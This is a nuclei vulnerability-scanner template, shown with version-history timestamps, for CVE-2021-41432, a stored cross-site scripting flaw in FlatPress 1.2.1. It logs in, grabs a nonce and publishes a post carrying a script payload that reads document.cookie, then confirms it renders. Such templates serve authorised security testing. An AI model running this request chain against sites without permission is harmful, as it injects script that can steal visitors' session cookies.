nuclei-templates/cves/2021/CVE-2021-41432.yaml

74 lines
2.2 KiB
YAML
Raw Normal View History

2022-10-13 10:40:05 +00:00
id: CVE-2021-41432
info:
2022-10-14 06:35:11 +00:00
name: FlatPress 1.2.1 - Cross-site scripting
2022-10-13 10:40:05 +00:00
author: arafatansari
severity: medium
description: |
A stored cross-site scripting (XSS) vulnerability exists in FlatPress 1.2.1 that allows for arbitrary execution of JavaScript commands through blog content.
reference:
2022-10-14 06:35:11 +00:00
- https://github.com/flatpressblog/flatpress/issues/88
- https://nvd.nist.gov/vuln/detail/CVE-2021-41432
classification:
cve-id: CVE-2021-41432
2022-10-13 10:40:05 +00:00
metadata:
2022-10-14 06:35:11 +00:00
verified: true
2022-10-13 10:40:05 +00:00
shodan-query: http.html:"Flatpress"
2022-10-14 11:46:44 +00:00
tags: cve,cve2021,flatpress,xss,authenticated,oss
2022-10-13 10:40:05 +00:00
requests:
- raw:
- |
POST /login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykGJmx9vKsePrMkVp
------WebKitFormBoundarykGJmx9vKsePrMkVp
Content-Disposition: form-data; name="user"
2022-10-14 06:35:11 +00:00
{{username}}
2022-10-13 10:40:05 +00:00
------WebKitFormBoundarykGJmx9vKsePrMkVp
Content-Disposition: form-data; name="pass"
2022-10-14 06:35:11 +00:00
{{password}}
2022-10-13 10:40:05 +00:00
------WebKitFormBoundarykGJmx9vKsePrMkVp
Content-Disposition: form-data; name="submit"
Login
------WebKitFormBoundarykGJmx9vKsePrMkVp--
2022-10-13 10:56:16 +00:00
2022-10-14 06:35:11 +00:00
- |
GET /admin.php?p=entry&action=write HTTP/1.1
Host: {{Hostname}}
2022-10-13 10:40:05 +00:00
- |
POST /admin.php?p=entry&action=write HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-10-14 06:35:11 +00:00
_wpnonce={{nonce}}&_wp_http_referer=%2Fadmin.php%3Fp%3Dentry%26action%3Dwrite&subject=abcd&timestamp=&entry=&attachselect=--&imageselect=--&content=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&save=Publish
2022-10-13 10:40:05 +00:00
- |
2022-10-14 06:35:11 +00:00
GET /index.php/2022/10 HTTP/1.1
2022-10-13 10:40:05 +00:00
Host: {{Hostname}}
2022-10-14 06:35:11 +00:00
req-condition: true
2022-10-13 10:40:05 +00:00
cookie-reuse: true
matchers:
2022-10-14 06:35:11 +00:00
- type: dsl
dsl:
- "contains(body_4, '<p><script>alert(document.cookie)</script></p>')"
- "contains(body_4, 'FlatPress')"
2022-10-14 11:46:44 +00:00
- "contains(all_headers_4, 'text/html')"
- "status_code_4 == 200"
2022-10-13 10:42:23 +00:00
condition: and
2022-10-14 06:35:11 +00:00
extractors:
- type: regex
2022-10-14 11:46:44 +00:00
internal: true
2022-10-14 06:35:11 +00:00
name: nonce
part: body
group: 1
regex:
- 'name="_wpnonce" value="([0-9a-z]+)" />'